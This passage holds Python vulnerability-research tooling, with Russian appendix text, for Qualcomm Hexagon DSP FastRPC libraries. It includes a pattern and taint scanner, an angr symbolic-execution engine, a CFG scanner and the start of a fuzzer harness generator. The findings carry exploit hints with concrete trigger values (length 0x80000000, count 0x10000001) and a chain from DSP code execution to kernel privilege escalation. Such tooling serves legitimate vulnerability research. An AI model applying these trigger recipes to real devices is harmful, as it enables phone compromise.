    SIGNED_CMP = {'cmp.gt', 'cmph.gt', 'cmpb.gt', 'cmp.gte', 'cmph.gte'}
    MEM_OPS    = {'memw(', 'memb(', 'memh(', 'memd(', 'memuh(', 'memub('}

    for i, insn in enumerate(insns):
        if insn['mnem'] in SIGNED_CMP:
            for j in range(i+1, min(i+4, len(insns))):
                nxt = insns[j]
                if nxt['func'] != insn['func']:
                    break
                if any(m in nxt['raw'] for m in MEM_OPS):
                    findings.append(Finding(
                        vuln_type = 'SIGNED_LEN',
                        severity  = 'HIGH',
                        lib       = lib_name,
                        func      = insn['func'],
                        addr      = insn['addr'],
                        desc      = (f"Signed compare '{insn['mnem']}' @ {insn['addr']:#x} "
                                     f"→ memory op @ {nxt['addr']:#x}"),
                        details   = (f"insn: {insn['raw']}\n"
                                     f"next: {nxt['raw']}"),
                        cve_class = 'CVE-2020-11201 class',
                        exploit   = ('Send length field as 0x80000000 (passes signed ≤ 0 check '
                                     'but used as 2GB in subsequent memcpy → heap/stack overflow'),
                    ))
                    break
    return findings


def scan_unchecked_memcpy(insns: list[dict], lib_name: str) -> list[Finding]:
    """
    MISSING_CHECK: call to memcpy/memscpy/strlcpy where the length register (r2)
    is not constrained by a preceding comparison in the same function block.
    """
    findings = []
    COPY_FUNCS = {'memcpy', 'memscpy', 'memscpy_s', 'strlcpy', 'strlcat',
                  'memmove', 'snprintf', 'vsnprintf'}

    for i, insn in enumerate(insns):
        if not insn['is_call']:
            continue
        target_name = ''
        for sym in COPY_FUNCS:
            if sym in insn['ops']:
                target_name = sym
                break
        if not target_name:
            continue

        has_gtu_check = False
        for j in range(i-1, max(i-12, -1), -1):
            prev = insns[j]
            if prev['func'] != insn['func']:
                break
            if 'cmp.gtu' in prev['mnem'] or 'cmph.gtu' in prev['mnem']:
                has_gtu_check = True
                break

        if not has_gtu_check:
            findings.append(Finding(
                vuln_type = 'MISSING_CHECK',
                severity  = 'HIGH',
                lib       = lib_name,
                func      = insn['func'],
                addr      = insn['addr'],
                desc      = (f"Call to {target_name} @ {insn['addr']:#x} "
                             f"without preceding unsigned bounds check on length"),
                details   = f"insn: {insn['raw']}",
                exploit   = f"Send over-length buffer via _pra[N].nLen → {target_name} overflows dst",
            ))
    return findings


def scan_int_overflow_before_alloc(insns: list[dict], lib_name: str) -> list[Finding]:
    """
    INT_OVERFLOW: multiply (mpyi/mpyu/mpy) result fed to malloc/calloc without
    overflow check. Size*count pattern — classic 32-bit integer overflow.
    """
    findings = []
    ALLOC_NAMES = {'malloc', '__wrap_malloc', 'calloc', '__wrap_calloc',
                   'pvPortMalloc', 'HAP_malloc', 'qurt_malloc'}
    MUL_MNEMS   = {'mpyi', 'mpyu', 'mpy', 'mpyui'}

    for i, insn in enumerate(insns):
        if insn['mnem'] not in MUL_MNEMS:
            continue
        for j in range(i+1, min(i+8, len(insns))):
            nxt = insns[j]
            if nxt['func'] != insn['func']:
                break
            if nxt['is_call'] and any(a in nxt['ops'] for a in ALLOC_NAMES):
                findings.append(Finding(
                    vuln_type = 'INT_OVERFLOW',
                    severity  = 'HIGH',
                    lib       = lib_name,
                    func      = insn['func'],
                    addr      = insn['addr'],
                    desc      = (f"Multiply @ {insn['addr']:#x} feeds allocation call "
                                 f"@ {nxt['addr']:#x} — possible integer overflow"),
                    details   = f"mul: {insn['raw']}\nalloc: {nxt['raw']}",
                    cve_class = 'CVE-2021-1905 class',
                    exploit   = ('Send count=0x10000001, size=4 → size*count wraps to 4 → '
                                 'undersized heap chunk → subsequent fill overflows'),
                ))
                break
    return findings


def scan_hardcoded_buffers(insns: list[dict], lib_name: str) -> list[Finding]:
    """MISSING_CHECK: functions using hardcoded destination buffer sizes."""
    findings = []
    HARDCODED_SIZES = {0x100, 0x101, 0x200, 0x400, 0x800, 0x1000}
    COPY_FUNCS = {'memcpy', 'memscpy', 'strlcpy', 'vsnprintf', 'snprintf'}

    for i, insn in enumerate(insns):
        if insn['mnem'] in ('r2', 'r3') or ('= #' in insn['ops'] or '= ##' in insn['ops']):
            m = re.search(r'=\s*##?(0x[0-9a-f]+|\d+)', insn['ops'])
            if not m:
                continue
            try:
                imm = int(m.group(1), 0)
            except ValueError:
                continue
            if imm not in HARDCODED_SIZES:
                continue
            for j in range(i+1, min(i+10, len(insns))):
                nxt = insns[j]
                if nxt['func'] != insn['func']:
                    break
                if nxt['is_call'] and any(f in nxt['ops'] for f in COPY_FUNCS):
                    findings.append(Finding(
                        vuln_type = 'MISSING_CHECK',
                        severity  = 'MEDIUM',
                        lib       = lib_name,
                        func      = insn['func'],
                        addr      = insn['addr'],
                        desc      = (f"Hardcoded buf size {imm:#x} @ {insn['addr']:#x} "
                                     f"near copy call @ {nxt['addr']:#x}"),
                        details   = f"size: {insn['raw']}\ncopy: {nxt['raw']}",
                        exploit   = (f"If caller doesn't verify src_len ≤ {imm:#x} before "
                                     f"this copy, send {imm+1} bytes → 1-byte stack overflow"),
                    ))
                    break
    return findings


def scan_oob_method_dispatch(insns: list[dict], lib_name: str,
                              dispatch_funcs: list[str]) -> list[Finding]:
    """
    OOB_INDEX: check if the method ID extracted from _sc is validated with
    bounds check before being used as array index.
    """
    findings = []
    for func in dispatch_funcs:
        func_insns = insns_in_func(insns, func)
        if not func_insns:
            continue

        has_method_extract = any('extractu' in i['raw'] and '0x18' in i['raw']
                                 for i in func_insns)
        has_bounds_check   = any('cmp.gtu' in i['mnem'] for i in func_insns[:20])

        if has_method_extract and not has_bounds_check:
            findings.append(Finding(
                vuln_type = 'OOB_INDEX',
                severity  = 'HIGH',
                lib       = lib_name,
                func      = func,
                addr      = func_insns[0]['addr'],
                desc      = (f"Dispatch {func} extracts method_id from _sc "
                             f"without bounds check (no cmp.gtu in first 20 insns)"),
                exploit   = 'Send _sc with method_id > max → OOB read of dispatch table',
            ))
    return findings


# ── Dispatch table extractor ─────────────────────────────────────────────────

def extract_dispatch_methods(insns: list[dict], func: str) -> list[MethodInfo]:
    """Parse the skel dispatch function to enumerate methods and their entry addresses."""
    func_insns = insns_in_func(insns, func)
    methods    = []

    cmp_eq_re = re.compile(r'cmp\.eq\s*\(r\d+(?:\.new)?\s*,\s*#(\d+)\)')

    for i, insn in enumerate(func_insns):
        raw = insn['raw']

        if 'cmp.eq' in raw and ('jump' in raw or 'if' in raw.lower()):
            m_id = cmp_eq_re.search(raw)
            m_jmp = re.search(r'jump(?::..)?\s+(0x[0-9a-f]+)', raw)
            if m_id and m_jmp:
                mid = int(m_id.group(1))
                target = int(m_jmp.group(1), 16)
                methods.append(MethodInfo(
                    method_id  = mid,
                    name       = f'method_{mid}',
                    entry_addr = target,
                    n_in       = 0,
                    n_out      = 0,
                ))
            continue

        if 'cmp.eq' in raw:
            m_id = cmp_eq_re.search(raw)
            if m_id and i + 1 < len(func_insns):
                nxt = func_insns[i+1]
                m_jmp = re.search(r'jump(?::..)?\s+(0x[0-9a-f]+)', nxt['raw'])
                if m_jmp:
                    mid = int(m_id.group(1))
                    target = int(m_jmp.group(1), 16)
                    methods.append(MethodInfo(
                        method_id  = mid,
                        name       = f'method_{mid}',
                        entry_addr = target,
                        n_in       = 0,
                        n_out      = 0,
                    ))

    return sorted(methods, key=lambda m: m.method_id)


def find_dispatch_func(insns: list[dict]) -> Optional[str]:
    candidates = []
    for func in func_list(insns):
        fl = func.lower()
        if any(kw in fl for kw in ('skel_invoke', 'skel_handle_invoke',
                                    'fastrpc_invoke', 'dispatch')):
            candidates.append(func)
    return candidates[0] if candidates else None


# ── angr symbolic execution engine ───────────────────────────────────────────

def angr_analyze_method(lib_path: str, method_addr: int, method_name: str,
                         n_in: int = 2, n_out: int = 1,
                         timeout: int = 60) -> dict:
    """
    Symbolically execute a single FastRPC skel method using angr.
    Models _pra as symbolic memory with symbolic nLen fields.
    """
    try:
        import angr
        import claripy
        from arch_hexagon import setup_hexagon
        setup_hexagon()
    except ImportError as e:
        return {'error': str(e), 'method': method_name}

    result = {
        'method':     method_name,
        'addr':       method_addr,
        'sat_paths':  0,
        'err_paths':  0,
        'arb_write':  [],
        'sym_pc':     [],
        'oob_access': [],
        'confirmed':  False,
    }

    try:
        proj = angr.Project(
            lib_path,
            load_options={
                'main_opts': {'base_addr': 0x0},
                'auto_load_libs': False,
                'perform_relocations': False,
            },
        )
    except Exception as e:
        result['error'] = f'load failed: {e}'
        return result

    try:
        N_ARGS   = n_in + n_out + 4
        PRA_ADDR = 0x20000000
        BUF_ADDR = 0x30000000

        state = proj.factory.blank_state(addr=method_addr)
        state.regs.r29 = 0x40000000 - 0x100
        state.regs.r31 = 0xDEADDEAD

        state.regs.r0 = 1
        state.regs.r1 = 0
        sc_bufs = claripy.BVS('_sc_bufs', 32)
        state.regs.r2 = sc_bufs
        state.regs.r3 = PRA_ADDR

        for slot in range(N_ARGS):
            sym_ptr = claripy.BVV(BUF_ADDR + slot * 0x1000, 32)
            sym_len = claripy.BVS(f'pra_{slot}_nLen', 32)
            off = PRA_ADDR + slot * 8
            state.memory.store(off,     sym_ptr, endness=proj.arch.memory_endness)
            state.memory.store(off + 4, sym_len, endness=proj.arch.memory_endness)

        for slot in range(N_ARGS):
            sym_data = claripy.BVS(f'buf_{slot}', 0x1000 * 8)
            state.memory.store(BUF_ADDR + slot * 0x1000, sym_data)

        simgr = proj.factory.simulation_manager(state)
        simgr.use_technique(angr.exploration_techniques.LoopSeer(bound=5))
        simgr.use_technique(angr.exploration_techniques.LengthLimiter(max_length=2000))

        def _alarm(sig, frame):
            raise TimeoutError()
        signal.signal(signal.SIGALRM, _alarm)
        signal.alarm(timeout)

        try:
            simgr.run()
        except TimeoutError:
            pass
        finally:
            signal.alarm(0)

        result['sat_paths'] = len(simgr.deadended)
        result['err_paths'] = len(getattr(simgr, 'errored', []))

        for st in simgr.deadended[:30]:
            pc = st.regs.pc
            if st.solver.symbolic(pc):
                try:
                    vals = st.solver.eval_upto(pc, 5)
                    result['sym_pc'].append({
                        'vals': [hex(v) for v in vals],
                        'constraints': len(st.solver.constraints),
                    })
                    result['confirmed'] = True
                except Exception:
                    pass

    except Exception as e:
        result['error'] = str(e)

    return result


# ── Deep taint analysis per function ─────────────────────────────────────────

def deep_analyze_function(insns: list[dict], func_name: str, lib_name: str) -> list[Finding]:
    """
    Taint tracking: r3 = _pra at function entry.
    Propagates taint through loads from tainted bases.
    Flags: tainted reg used in memory op without prior cmp.gtu.
    """
    findings = []
    fi = insns_in_func(insns, func_name)
    if not fi:
        return findings

    tainted = set()
    tainted.add('r3')
    checked_regs = set()

    for i, insn in enumerate(fi):
        raw  = insn['raw']
        mnem = insn['mnem']

        load_m = re.search(r'(r\d+)\s*=\s*mem\w+\((\w+)\+', raw)
        if load_m:
            dst = load_m.group(1)
            src = load_m.group(2)
            if src in tainted:
                tainted.add(dst)

        arith_m = re.search(r'(r\d+)\s*=\s*\w+\((r\d+)[^)]*,(r\d+)', raw)
        if arith_m:
            dst  = arith_m.group(1)
            src1 = arith_m.group(2)
            src2 = arith_m.group(3)
            if src1 in tainted or src2 in tainted:
                tainted.add(dst)

        ext_m = re.search(r'(r\d+)\s*=\s*extractu\((r\d+)', raw)
        if ext_m:
            dst = ext_m.group(1)
            src = ext_m.group(2)
            if src in tainted:
                tainted.add(dst)

        if 'cmp.gtu' in mnem or 'cmph.gtu' in mnem:
            reg_m = re.search(r'cmp.gtu\((r\d+)', raw)
            if reg_m:
                checked_regs.add(reg_m.group(1))

        mem_m = re.search(r'mem\w+\((r\d+)\+?(r\d+)?', raw)
        if mem_m:
            base = mem_m.group(1)
            idx  = mem_m.group(2)
            for r in [base, idx]:
                if r and r in tainted and r not in checked_regs:
                    sev = 'HIGH' if '=' not in raw.split('mem')[0] else 'MEDIUM'
                    findings.append(Finding(
                        vuln_type = 'MISSING_CHECK',
                        severity  = sev,
                        lib       = lib_name,
                        func      = func_name,
                        addr      = insn['addr'],
                        desc      = (f"Tainted reg {r} (from _pra) used in memory op "
                                     f"@ {insn['addr']:#x} without prior cmp.gtu check"),
                        details   = f"insn: {raw}\ntainted set: {sorted(tainted)}",
                        exploit   = f"Control {r} via _pra buffer pointer/length to achieve arbitrary r/w",
                    ))

    return findings


# ── Full library analysis ─────────────────────────────────────────────────────

def analyze_library(lib_path: Path, do_symbolic: bool = False) -> LibAnalysis:
    name = lib_path.name
    log.info('\n' + '='*64)
    log.info(f'Library: {name}')
    log.info('='*64)

    result = LibAnalysis(lib_name=name, dispatch_func='')

    log.info('[1] Disassembling...')
    try:
        insns = disasm_lib(str(lib_path))
    except Exception as e:
        log.error(f'    FAILED: {e}')
        return result
    log.info(f'    {len(insns)} instructions, {len(func_list(insns))} functions')

    dispatch = find_dispatch_func(insns)
    if dispatch:
        result.dispatch_func = dispatch
        log.info(f'    Dispatch: {dispatch}')

    log.info('[2] Pattern scans...')
    f_signed  = scan_signed_length_checks(insns, name)
    f_memcpy  = scan_unchecked_memcpy(insns, name)
    f_intovf  = scan_int_overflow_before_alloc(insns, name)
    f_hardbuf = scan_hardcoded_buffers(insns, name)
    f_oob     = scan_oob_method_dispatch(insns, name, [dispatch] if dispatch else [])

    all_findings = f_signed + f_memcpy + f_intovf + f_hardbuf + f_oob
    result.all_findings.extend(all_findings)

    log.info(f'    SIGNED_LEN:    {len(f_signed):3d}')
    log.info(f'    MISSING_CHECK: {len(f_memcpy)+len(f_hardbuf):3d}')
    log.info(f'    INT_OVERFLOW:  {len(f_intovf):3d}')
    log.info(f'    OOB_DISPATCH:  {len(f_oob):3d}')

    log.info('[3] Deep function analysis...')
    priority_funcs = []
    if dispatch:
        priority_funcs.append(dispatch)
    for fn in func_list(insns):
        fl = fn.lower()
        if any(kw in fl for kw in ('buffer', 'copy', 'send', 'recv', 'write',
                                    'read', 'parse', 'decode', 'mem', 'test',
                                    'auth', 'exec', 'alloc')):
            priority_funcs.append(fn)

    for fn in priority_funcs[:15]:
        df = deep_analyze_function(insns, fn, name)
        result.all_findings.extend(df)
        if df:
            log.info(f'    {fn}: {len(df)} taint findings')

    if dispatch:
        log.info('[4] Dispatch method enumeration...')
        methods = extract_dispatch_methods(insns, dispatch)
        result.methods = methods
        if methods:
            log.info(f'    Found {len(methods)} methods:')
            for m in methods:
                log.info(f'      method_{m.method_id} @ {m.entry_addr:#010x}')

    if do_symbolic and result.methods:
        log.info('[5] Symbolic execution...')
        for method in result.methods[:4]:
            log.info(f'    Analyzing method_{method.method_id} @ {method.entry_addr:#x}...')
            sym_result = angr_analyze_method(
                str(lib_path),
                method.entry_addr,
                f'method_{method.method_id}',
            )
            if sym_result.get('sym_pc'):
                f = Finding(
                    vuln_type = 'CONTROL_FLOW',
                    severity  = 'CRITICAL',
                    lib       = name,
                    func      = f'method_{method.method_id}',
                    addr      = method.entry_addr,
                    desc      = 'Symbolic execution found PC control from symbolic _pra input',
                    confirmed = True,
                    exploit   = 'Craft _pra to redirect execution → DSP RCE → kernel LPE',
                )
                result.all_findings.append(f)
                method.findings.append(f)
                log.info(f'      [!!!] PC control confirmed! sym_pc={sym_result["sym_pc"][:2]}')
            else:
                log.info(f'      sat={sym_result["sat_paths"]} err={sym_result["err_paths"]}')

    high  = [f for f in result.all_findings if f.severity in ('CRITICAL','HIGH')]
    total = len(result.all_findings)
    log.info(f'\n    SUMMARY: {total} findings, {len(high)} HIGH/CRITICAL')

    return result


# ── Report writer ─────────────────────────────────────────────────────────────

def write_report(analyses: list[LibAnalysis], report_path: Path):
    all_findings = []
    for a in analyses:
        all_findings.extend(a.all_findings)

    crit   = [f for f in all_findings if f.severity == 'CRITICAL']
    high   = [f for f in all_findings if f.severity == 'HIGH']
    medium = [f for f in all_findings if f.severity == 'MEDIUM']

    lines = [
        '# FastRPC Skel Vulnerability Analysis Report',
        '',
        f'- Проанализировано библиотек: **{len(analyses)}**',
        f'- CRITICAL: **{len(crit)}**  HIGH: **{len(high)}**  MEDIUM: **{len(medium)}**',
        '',
    ]

    for sev_label, findings in [('CRITICAL', crit), ('HIGH', high), ('MEDIUM', medium)]:
        if not findings:
            continue
        lines.append(f'### {sev_label}')
        lines.append('')
        by_lib: dict[str, list] = {}
        for f in findings:
            by_lib.setdefault(f.lib, []).append(f)
        for lib_name, lib_findings in sorted(by_lib.items()):
            lines.append(f'#### `{lib_name}`')
            lines.append('')
            for f in lib_findings[:20]:
                lines.append(f'**[{f.vuln_type}]** `{f.func}` @ `{f.addr:#x}`')
                lines.append(f'> {f.desc}')
                if f.exploit:
                    lines.append(f'Exploit: {f.exploit}')
                lines.append('')

    report_path.write_text('\n'.join(lines))
    log.info(f'\n[*] Report written: {report_path}')


# ── CLI ───────────────────────────────────────────────────────────────────────

def main():
    ap = argparse.ArgumentParser(description='FastRPC skel vulnerability analyzer')
    ap.add_argument('--lib',      help='Specific .so file (full path or name in libs/)')
    ap.add_argument('--symbolic', action='store_true', help='Enable angr symbolic execution')
    ap.add_argument('--report',   default='findings/fastrpc_report.md')
    ap.add_argument('--json',     help='Also write JSON findings')
    args = ap.parse_args()

    if args.lib:
        p = Path(args.lib)
        if not p.exists():
            p = LIB_DIR / args.lib
        if not p.exists():
            ap.error(f'Library not found: {args.lib}')
        libs = [p]
    else:
        libs = sorted(LIB_DIR.glob('*.so'))

    if not libs:
        ap.error(f'No .so files found in {LIB_DIR}')

    analyses = []
    for lib_path in libs:
        a = analyze_library(lib_path, do_symbolic=args.symbolic)
        analyses.append(a)

    report_path = SCRIPT_DIR / args.report
    report_path.parent.mkdir(parents=True, exist_ok=True)
    write_report(analyses, report_path)

    if args.json:
        json_data = []
        for a in analyses:
            for f in a.all_findings:
                d = asdict(f)
                d['addr'] = hex(d['addr'])
                json_data.append(d)
        Path(args.json).write_text(json.dumps(json_data, indent=2))

    all_findings = [f for a in analyses for f in a.all_findings]
    crit = [f for f in all_findings if f.severity == 'CRITICAL']
    high = [f for f in all_findings if f.severity == 'HIGH']

    log.info('\n' + '='*64)
    log.info(f'ИТОГ: {len(all_findings)} findings  CRITICAL={len(crit)}  HIGH={len(high)}')
    log.info('='*64)


if __name__ == '__main__':
    main()


---

# Приложение E. Вспомогательные инструменты анализа

Три дополнительных инструмента: angr CFG-сканер, fuzzer-обвязка, Binder→FastRPC маппер.

---

## E.1 hexagon_vuln_scan.py — angr CFG-сканер

Загружает Hexagon .so в angr через arch_hexagon, строит CFG, сканирует паттерны уязвимостей через пробег по узлам CFG. Отличие от fastrpc_analysis.py — использует capstone через angr для декодирования, а не llvm-objdump.

Запуск: python3 hexagon_vuln_scan.py --lib libs/libsysmon_skel.so [--symbolic]

Python:
#!/usr/bin/env python3
"""
hexagon_vuln_scan.py — angr-based vulnerability scanner for Hexagon DSP .so files
"""

import sys
import os
import struct
import argparse
import logging
from pathlib import Path

sys.path.insert(0, str(Path(__file__).parent.parent / 'angr'))

import angr
import claripy
import archinfo

logging.getLogger('angr').setLevel(logging.WARNING)
logging.getLogger('cle').setLevel(logging.WARNING)

LIB_DIR = Path(__file__).parent / 'libs'


def _register_hexagon_arch():
    try:
        from arch_hexagon.arch import ArchHexagon
        archinfo.register_arch(['em_qdsp6', 'hexagon', 'qdsp6'],
                               32, archinfo.Endness.LE, ArchHexagon)
        return ArchHexagon
    except (ImportError, Exception):
        return None


def load_hexagon_so(path: str) -> angr.Project:
    _register_hexagon_arch()
    try:
        proj = angr.Project(
            path,
            load_options={
                'main_opts': {'base_addr': 0x0},
                'auto_load_libs': False,
                'perform_relocations': False,
            },
            arch='QDSP6',
        )
    except Exception:
        proj = angr.Project(
            path,
            load_options={
                'main_opts': {
                    'backend': 'elf',
                    'base_addr': 0x0,
                    'arch': 'QDSP6',
                },
                'auto_load_libs': False,
            },
        )
    return proj


def get_functions(proj: angr.Project):
    funcs = {}
    for sym in proj.loader.main_object.symbols:
        if sym.is_function and sym.rebased_addr != 0:
            funcs[sym.name] = (sym.rebased_addr, sym.size)
    return funcs


def build_cfg(proj: angr.Project, func_addr=None):
    if func_addr:
        cfg = proj.analyses.CFGEmulated(
            starts=[func_addr],
            context_sensitivity_level=1,
            keep_state=True,
        )
    else:
        cfg = proj.analyses.CFGFast(
            normalize=True,
            resolve_indirect_jumps=True,
        )
    return cfg


def scan_signed_length_check(proj: angr.Project, cfg) -> list:
    """CVE-2020-11201 class: signed compare → unsigned memory op."""
    findings = []
    for node in cfg.nodes():
        if node.block is None:
            continue
        block = node.block
        try:
            insns = block.capstone.insns
        except Exception:
            continue

        for i, insn in enumerate(insns):
            mn = insn.insn.mnemonic.lower()
            if any(x in mn for x in ('cmp.gt', 'cmph.gt', 'cmpb.gt', 'cmp.gtu')):
                for j in range(i+1, min(i+8, len(insns))):
                    nxt = insns[j].insn.mnemonic.lower()
                    if any(x in nxt for x in ('memw(', 'memb(', 'memh(', 'memd(')):
                        findings.append({
                            'type': 'signed_len_check',
                            'addr': insn.address,
                            'desc': f'Signed cmp "{mn}" @ {insn.address:#x} → mem op @ {insns[j].address:#x}',
                        })
                        break
    return findings


def scan_memcpy_patterns(proj: angr.Project, cfg) -> list:
    """Find memcpy-like calls potentially reachable from user input."""
    findings = []
    loader = proj.loader.main_object
    memcpy_addrs = set()
    for sym in loader.symbols:
        if sym.name and any(x in sym.name.lower() for x in
                            ('memcpy', 'memmove', 'memset', 'memscpy', 'strlcpy')):
            memcpy_addrs.add(sym.rebased_addr)

    for node in cfg.nodes():
        if node.block is None:
            continue
        try:
            insns = node.block.capstone.insns
        except Exception:
            continue
        for i, insn in enumerate(insns):
            mn = insn.insn.mnemonic.lower()
            if mn.startswith('call'):
                try:
                    target = int(insn.insn.op_str.strip(), 16)
                    if target in memcpy_addrs:
                        findings.append({
                            'type': 'memcpy_call',
                            'addr': insn.address,
                            'target_name': next(
                                (s.name for s in loader.symbols if s.rebased_addr == target),
                                f'{target:#x}'
                            ),
                            'desc': f'Call to memcpy-like @ {insn.address:#x}',
                        })
                except (ValueError, IndexError):
                    pass
    return findings


def scan_integer_overflow_before_alloc(proj: angr.Project, cfg) -> list:
    """Multiply → alloc pattern: possible integer overflow before heap allocation."""
    findings = []
    alloc_addrs = set()
    for sym in proj.loader.main_object.symbols:
        if sym.name and any(x in sym.name for x in
                            ('malloc', 'calloc', 'realloc', 'pvPortMalloc', 'qurt_malloc')):
            alloc_addrs.add(sym.rebased_addr)

    for node in cfg.nodes():
        if node.block is None:
            continue
        try:
            insns = node.block.capstone.insns
        except Exception:
            continue
        for i, insn in enumerate(insns):
            mn = insn.insn.mnemonic.lower()
            if any(x in mn for x in ('mpyi', 'mpyu', 'mpy')):
                for j in range(i+1, min(i+10, len(insns))):
                    nxt = insns[j].insn.mnemonic.lower()
                    if nxt.startswith('call'):
                        try:
                            target = int(insns[j].insn.op_str.strip(), 16)
                            if target in alloc_addrs:
                                findings.append({
                                    'type': 'int_overflow_before_alloc',
                                    'addr': insn.address,
                                    'desc': f'Multiply @ {insn.address:#x} → alloc @ {insns[j].address:#x}',
                                })
                        except (ValueError, IndexError):
                            pass
    return findings


def scan_stack_alloc_with_input(proj: angr.Project, cfg) -> list:
    """Large allocframe near memcpy → potential stack overflow."""
    findings = []
    for node in cfg.nodes():
        if node.block is None:
            continue
        try:
            insns = node.block.capstone.insns
        except Exception:
            continue
        for i, insn in enumerate(insns):
            if 'allocframe' in insn.insn.mnemonic.lower():
                try:
                    frame_sz = int(insn.insn.op_str.strip().strip('#'), 16)
                    if frame_sz > 0x200:
                        findings.append({
                            'type': 'large_stack_frame',
                            'addr': insn.address,
                            'frame_size': frame_sz,
                            'desc': f'Large stack frame {frame_sz:#x} @ {insn.address:#x}',
                        })
                except (ValueError, IndexError):
                    pass
    return findings


def symbolic_execute_function(proj: angr.Project, func_addr: int, func_name: str,
                               num_args: int = 4, timeout: int = 60) -> dict:
    """Look for arbitrary write / null deref via symbolic exec."""
    import signal

    results = {
        'func': func_name, 'addr': func_addr,
        'arb_write': [], 'null_deref': [],
        'error_paths': 0, 'sat_paths': 0,
    }

    try:
        state = proj.factory.call_state(func_addr)
        buf_sym = claripy.BVS('input_buf', 256 * 8)
        buf_addr = 0x10000000
        state.memory.store(buf_addr, buf_sym)
        state.regs.r0 = buf_addr

        simgr = proj.factory.simulation_manager(state)

        class TimeoutError(Exception): pass
        def _alarm(sig, frame): raise TimeoutError()
        signal.signal(signal.SIGALRM, _alarm)
        signal.alarm(timeout)

        try:
            simgr.run(n=500)
        except TimeoutError:
            print(f"    [!] Timeout after {timeout}s")
        finally:
            signal.alarm(0)

        results['sat_paths'] = len(simgr.deadended)
        results['error_paths'] = len(getattr(simgr, 'errored', []))

    except Exception as e:
        print(f"    [!] Symbolic exec error: {e}")

    return results


def analyze_library(lib_path: str, do_symbolic: bool = False):
    print(f"\n{'='*60}\nAnalyzing: {lib_path}\n{'='*60}")

    try:
        proj = load_hexagon_so(lib_path)
    except Exception as e:
        print(f"[!] Failed to load: {e}")
        return

    lib_name = Path(lib_path).name
    funcs = get_functions(proj)
    print(f"[+] Loaded: {proj.arch.name}, {len(funcs)} functions")

    exported = [(n, a, s) for n, (a, s) in funcs.items()
                if any(sym.is_export for sym in proj.loader.main_object.symbols
                       if sym.name == n)]
    print(f"\n[+] Exported functions ({len(exported)}):")
    for name, addr, size in sorted(exported, key=lambda x: x[1]):
        print(f"    {addr:#010x}  {size:6d}  {name}")

    print(f"\n[*] Building CFGFast...")
    try:
        cfg = build_cfg(proj)
        print(f"[+] CFG: {len(list(cfg.nodes()))} nodes")
    except Exception as e:
        print(f"[!] CFG failed: {e}")
        return

    signed_findings = scan_signed_length_check(proj, cfg)
    cpy_findings    = scan_memcpy_patterns(proj, cfg)
    oa_findings     = scan_integer_overflow_before_alloc(proj, cfg)
    stk_findings    = scan_stack_alloc_with_input(proj, cfg)

    for f in signed_findings[:20]:
        print(f"    [SIGNED_LEN] {f['desc']}")
    for f in cpy_findings[:20]:
        print(f"    [MEMCPY] {f['desc']}")
    for f in oa_findings[:20]:
        print(f"    [INT_OVF] {f['desc']}")
    for f in stk_findings[:20]:
        print(f"    [STACK] {f['desc']}")

    if do_symbolic:
        for name, addr, size in sorted(exported, key=lambda x: x[2], reverse=True)[:5]:
            if size > 50:
                res = symbolic_execute_function(proj, addr, name)
                print(f"    {name}: sat={res['sat_paths']} errors={res['error_paths']}")

    total = len(signed_findings) + len(cpy_findings) + len(oa_findings) + len(stk_findings)
    print(f"\nSummary for {lib_name}: {total} issues")


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('--lib', help='Specific .so to analyze')
    parser.add_argument('--symbolic', action='store_true')
    args = parser.parse_args()

    libs = [args.lib] if args.lib else sorted(LIB_DIR.glob('*.so'))
    for lib in libs:
        analyze_library(str(lib), do_symbolic=args.symbolic)


if __name__ == '__main__':
    main()

---

## E.2 hexagon_fuzzer.py — мутационный fuzzer и генератор harness-кода

Генерирует AFL++-совместимые тест-кейсы для FastRPC skel функций. Поддерживает три режима:
  • --build — генерация ARM64 C harness и QEMU Hexagon asm harness
  • --fuzz — in-process fuzzing через unicorn (если есть Hexagon backend)
  • простая мутация corpus без запуска

Запуск: python3 hexagon_fuzzer.py --lib libs/libsysmon_skel.so --build --func sysmon_mem_test

Python:
#!/usr/bin/env python3
"""
hexagon_fuzzer.py — AFL++-compatible fuzzing harness generator for Hexagon DSP .so

Strategy:
  1. qemu-hexagon usermode → execute Hexagon ELF natively
  2. ARM64 harness → call skel function via fastrpc on device (requires root)
  3. unicorn-engine with Hexagon backend → in-process fuzzing

fastrpc argument format:
  struct remote_arg { union { struct { void* pv; uint32_t nLen; } buf; }; };
  skel(uint32_t sc, remote_arg* pra)
"""

import sys, os, struct, random, subprocess, argparse, ctypes
from pathlib import Path

LIB_DIR    = Path(__file__).parent / 'libs'
OUT_DIR    = Path(__file__).parent / 'fuzz_out'
HARNESS_DIR= Path(__file__).parent / 'harness'
QEMU_HEX   = '/usr/bin/qemu-hexagon'


class FastrpcMutator:
    """Generates and mutates fastrpc-style remote_arg arrays."""

    INTERESTING_LENS = [
        0, 1, 3, 4, 7, 8, 15, 16, 31, 32, 63, 64, 127, 128, 255, 256,
        0x7f, 0x80, 0xff, 0x100, 0x1000,
        -1, -2, -4, -128, -256,
        0x7FFFFFFF, 0x80000000, 0xFFFFFFFF,
        0x7FFFFFFE, 0x80000001,
    ]

    def __init__(self, num_args: int = 4, buf_size: int = 256):
        self.num_args = num_args
        self.buf_size = buf_size
        self.seed_corpus = []
        self._generate_seeds()

    def _generate_seeds(self):
        for n in [16, 32, 64, 128]:
            self.seed_corpus.append(self._make_input(n, b'\x00' * n))
        self.seed_corpus.append(self._make_input(32, b'\xff' * 32))
        self.seed_corpus.append(self._make_input(32, bytes(range(32))))

    def _make_input(self, length: int, data: bytes) -> bytes:
        out = struct.pack('<I', self.num_args)
        for i in range(self.num_args):
            if i == 0:
                nlen = length & 0xFFFFFFFF
                buf = data[:length] if len(data) >= length else data + b'\x00' * (length - len(data))
            else:
                nlen = 0
                buf = b''
            out += struct.pack('<I', nlen)
            out += buf
        return out

    def mutate(self, data: bytes) -> bytes:
        strategy = random.randint(0, 7)
        if strategy == 0:
            if len(data) < 8: return data
            nlen = random.choice(self.INTERESTING_LENS) & 0xFFFFFFFF
            return data[:4] + struct.pack('<I', nlen) + data[8:]
        elif strategy == 1:
            if len(data) < 9: return data
            pos = random.randint(8, len(data) - 1)
            b = bytearray(data)
            b[pos] ^= random.randint(1, 255)
            return bytes(b)
        elif strategy == 2:
            if len(data) < 8: return data
            pos = random.randint(4, len(data) - 4) & ~3
            val = random.choice([0, 0xFFFFFFFF, 0x80000000, 0x7FFFFFFF, 0xDEADBEEF, 0x41414141])
            b = bytearray(data)
            struct.pack_into('<I', b, pos, val)
            return bytes(b)
        elif strategy == 3:
            return data[:4] + struct.pack('<I', 0) + data[8:]
        elif strategy == 4:
